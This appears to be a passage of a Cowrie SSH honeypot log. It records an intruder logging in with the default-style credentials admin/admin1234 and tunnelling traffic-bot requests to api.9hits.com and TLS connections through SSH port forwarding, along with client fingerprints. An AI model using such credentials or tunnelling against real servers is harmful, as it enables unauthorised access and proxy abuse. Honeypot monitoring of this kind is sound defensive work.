{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1150\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1; Red Rise 5A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=OVkwSzhjPm45eENDWiQoJQ%3D%3Dx9%2FfNNoAiSyOQt3OQgCfZ%2BX24NTdeX7jcF7xY5Oe6p9j9Px%2FiaCGZAWi23fRo8tjjdb1ecIBaOmcZNVRMwxHFm6F%2Baa8m%2B5PamCHljHu9RYXU3e4euiybxVRUGhEEQi2Iu6%2BiN%2Fh4KjDKNHo4unfW3H6VjID4iFRVZrdgmOSvrnZKkAY3zAYhzXakki70KCe89dyd4ALCVM2CpGn4q%2FORKaRHiDvAeGLuhOpAmXG9c0AMyO8b7xN8aYQRPNhrEFlJjWNRlovff8LFgpgQ3%2FoZ5V%2Bjg4w5rVtiVDnkD99teAE2liDaqXvCTKqMRe62EHc8IJe3WdXi6FH958sTJsTelKnF59WnSqnN803AHTilbJk1Kx9iL4tlrnCoRRCr4Kn4pQctLz6sHeNqR1PNnPz0QDNg%2BxY0nlrF1XvKyAZxWNd9UUkZ8QIJ6kbHm0SAOWjd9uDZhcBPDcy%2BeOhhoVnZQewTPY%2FjyLKKJAAxnADs6l6NRbJglFbtQXJy2%2FewFkqa4rKgLTXctPDRCu1MJ06oPBoU92pXTcDIX29OLrmqZJCOIhfVLuUIHsEML%2Fbe%2BQC9%2Bj7SgBU8gs6fTaBpJ5Fi2rW9ZX51Q1ho%2Bxtb6VVwgs6%2BUHxGo%2BJHPmpGcVvyNpbZ9UYsS1PY%2FxdiEvOf9OBMnL7zqXkgfM4Ilc8P0CUuTpNp4V3IiqA00QiHqjpgpsdhlZG1uY0t5g4imMxGcFgsNQPXKRvxzZwQRChMTbN2d%2BZuvwCZ64Dj8ykHkG0XnsgT7tUhcxzUFDPtqDa4cBliRPdri2kCYD2PDw%2FC4FojVxSwofsMgLB10c9whQdmR8klr4xQpdZPBOlrOwpTS9IPyodVM01Q2W3OfEenxaxB2krxHLiaoqnzRpP4Mz4hs9QUc8MktwA6l2EUjKVhvTttil2oDbRpXG9zZuhs6DbGVvRDsSbGpyu8VSzn7PherALD5B4Bf0Hz5hen2HRW2lB%2BKI4k2yinyl%2Bhf6uhNG9a9019mK4CE533p7SNFgsr0uAOpwM4HzE3SPGuBnFQZJiPf5EdafHHBHKrTckOZcUviA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1150\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1; Red Rise 5A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=OVkwSzhjPm45eENDWiQoJQ%3D%3Dx9%2FfNNoAiSyOQt3OQgCfZ%2BX24NTdeX7jcF7xY5Oe6p9j9Px%2FiaCGZAWi23fRo8tjjdb1ecIBaOmcZNVRMwxHFm6F%2Baa8m%2B5PamCHljHu9RYXU3e4euiybxVRUGhEEQi2Iu6%2BiN%2Fh4KjDKNHo4unfW3H6VjID4iFRVZrdgmOSvrnZKkAY3zAYhzXakki70KCe89dyd4ALCVM2CpGn4q%2FORKaRHiDvAeGLuhOpAmXG9c0AMyO8b7xN8aYQRPNhrEFlJjWNRlovff8LFgpgQ3%2FoZ5V%2Bjg4w5rVtiVDnkD99teAE2liDaqXvCTKqMRe62EHc8IJe3WdXi6FH958sTJsTelKnF59WnSqnN803AHTilbJk1Kx9iL4tlrnCoRRCr4Kn4pQctLz6sHeNqR1PNnPz0QDNg%2BxY0nlrF1XvKyAZxWNd9UUkZ8QIJ6kbHm0SAOWjd9uDZhcBPDcy%2BeOhhoVnZQewTPY%2FjyLKKJAAxnADs6l6NRbJglFbtQXJy2%2FewFkqa4rKgLTXctPDRCu1MJ06oPBoU92pXTcDIX29OLrmqZJCOIhfVLuUIHsEML%2Fbe%2BQC9%2Bj7SgBU8gs6fTaBpJ5Fi2rW9ZX51Q1ho%2Bxtb6VVwgs6%2BUHxGo%2BJHPmpGcVvyNpbZ9UYsS1PY%2FxdiEvOf9OBMnL7zqXkgfM4Ilc8P0CUuTpNp4V3IiqA00QiHqjpgpsdhlZG1uY0t5g4imMxGcFgsNQPXKRvxzZwQRChMTbN2d%2BZuvwCZ64Dj8ykHkG0XnsgT7tUhcxzUFDPtqDa4cBliRPdri2kCYD2PDw%2FC4FojVxSwofsMgLB10c9whQdmR8klr4xQpdZPBOlrOwpTS9IPyodVM01Q2W3OfEenxaxB2krxHLiaoqnzRpP4Mz4hs9QUc8MktwA6l2EUjKVhvTttil2oDbRpXG9zZuhs6DbGVvRDsSbGpyu8VSzn7PherALD5B4Bf0Hz5hen2HRW2lB%2BKI4k2yinyl%2Bhf6uhNG9a9019mK4CE533p7SNFgsr0uAOpwM4HzE3SPGuBnFQZJiPf5EdafHHBHKrTckOZcUviA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:26.637019Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:26.877961Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\'\\x9e\\xa7=\\xe5H\\x12\\xed\\xf6\\x12Q\\x19jm8\\xc5{\"\\xe0\\xb3\\x87;\\x94\\xa5\\x9dg\\xf2\\xb2%\\xbe\\x98\\xfd $7,\\xe9\\x9fR^^\\x12\\x899\\x81\\x9d9\\xa6\\xaeA\\x95l\\xa6\\x8dd8\\xc7\\xa2\\xde\\xb2$\\x9a\\n\\xf5\\x91\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x84\\x06E\\xe8\\x1a\\\\M|\\xb2N\\x0f\\xc3\\x0f \\xf73\\x00\\x9b\\xac\\x9c\\x94\\x9e\\xa6\\xd3\\xce\\xca1\\xd2k\\xc8*\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\'\\x9e\\xa7=\\xe5H\\x12\\xed\\xf6\\x12Q\\x19jm8\\xc5{\"\\xe0\\xb3\\x87;\\x94\\xa5\\x9dg\\xf2\\xb2%\\xbe\\x98\\xfd $7,\\xe9\\x9fR^^\\x12\\x899\\x81\\x9d9\\xa6\\xaeA\\x95l\\xa6\\x8dd8\\xc7\\xa2\\xde\\xb2$\\x9a\\n\\xf5\\x91\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x84\\x06E\\xe8\\x1a\\\\M|\\xb2N\\x0f\\xc3\\x0f \\xf73\\x00\\x9b\\xac\\x9c\\x94\\x9e\\xa6\\xd3\\xce\\xca1\\xd2k\\xc8*\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:26.880738Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:27.366502Z","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:27.614671Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Y\\xc5Vy\\xebM)\\x8edc!`\\x99\\xd9\\xcb\\xa1\\xf9Aa\\xfa\\xc4?,\\x06\\'\\xe5\\xa3\\x13\\\\K\\xe3\\xf9 \\xa5R\\x85\\x15&t\\xd0&kz_}\\xde\\xb9\\\\\\xe5u\\x17\\x01;9\\x82\\x81\\xbd\\x92N\\xe5\\xa6~,\\x1f\\xc6\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 5\\x0f\\xb4\\x19\\xeb\\xb0\\xa0\\xcc>\\xce\\xa2\\xbd\\x0e\\xaf<\\xda\\xf8Ze\\xfbG\\x1e\\x11{\\xd8\\xef\\xeb\\xd4\\xa1\\x98\\x10|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Y\\xc5Vy\\xebM)\\x8edc!`\\x99\\xd9\\xcb\\xa1\\xf9Aa\\xfa\\xc4?,\\x06\\'\\xe5\\xa3\\x13\\\\K\\xe3\\xf9 \\xa5R\\x85\\x15&t\\xd0&kz_}\\xde\\xb9\\\\\\xe5u\\x17\\x01;9\\x82\\x81\\xbd\\x92N\\xe5\\xa6~,\\x1f\\xc6\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 5\\x0f\\xb4\\x19\\xeb\\xb0\\xa0\\xcc>\\xce\\xa2\\xbd\\x0e\\xaf<\\xda\\xf8Ze\\xfbG\\x1e\\x11{\\xd8\\xef\\xeb\\xd4\\xa1\\x98\\x10|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:27.618432Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:28.023771Z","src_ip":"123.27.168.40","session":"9b00fe100164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50190,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb54947e4a4","protocol":"ssh","message":"New connection: 123.27.168.40:50190 (10.17.0.5:22) [session: 2bb54947e4a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:33.403196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:33.407599Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:33.727900Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:34.897038Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:35.279372Z","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:35.386332Z","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:41:35.677151Z","src_ip":"123.27.168.40","session":"2bb54947e4a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/9.1.2 Safari/604.5.6\\r\\nConnection: keep-alive\\r\\nContent-Length: 1218\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ZE9zdVUmPnt7ans%2BMyV9eQ%3D%3D2b%2FFOtQT8ui9xC4L9aL2Yhr3vzYJIZTOCF5QPuOOF8KyvND6a8IC6vgwt%2F7Upb9Jj71InG6jp1XL%2Fjt%2BjxsoMLsdp4J7sfYu%2Fp6uQyB47H%2FxksBni2P13KQ%2BN7fIoV971j3NcShX%2F%2BmDSqRjrwc9vWa3X8IRoZV%2FhZARPUvj5cbCACzKLvW3jsyF%2B2ZD56qATUIpMfDSFPKj9%2B4s2tHROZVKkyqZKG6fI%2Fl7kUZFmNVoKWtCWMUI15yrdETg9%2FrSBOtl6%2FJCZjft1Qt6wJSZCRv1vZ5B0AQPAQ%2BiNFKUlsuDrmF%2Fq%2BP2A9nnd4EvfiWU7DShoUAGXnMCUF5CGYigdJVbcLhwhOcybL1EUyHRXdqS1%2BeV9JCIVIGFYnB2AfXZBRyOnxOZw45rHPk2ZjyNg1YZsTZ5%2FH0fwtkC%2B1D3oU9F0q0m03uooQoOr42NQky1WzaNfb1NdSszz%2FNeVOGz6qIBpoR1MlYIhIUkb3Lip8pzz1dx%2FGxhf90FdJkaAOiTWjcVQDu%2Bbskfd4%2FdgKSokU2n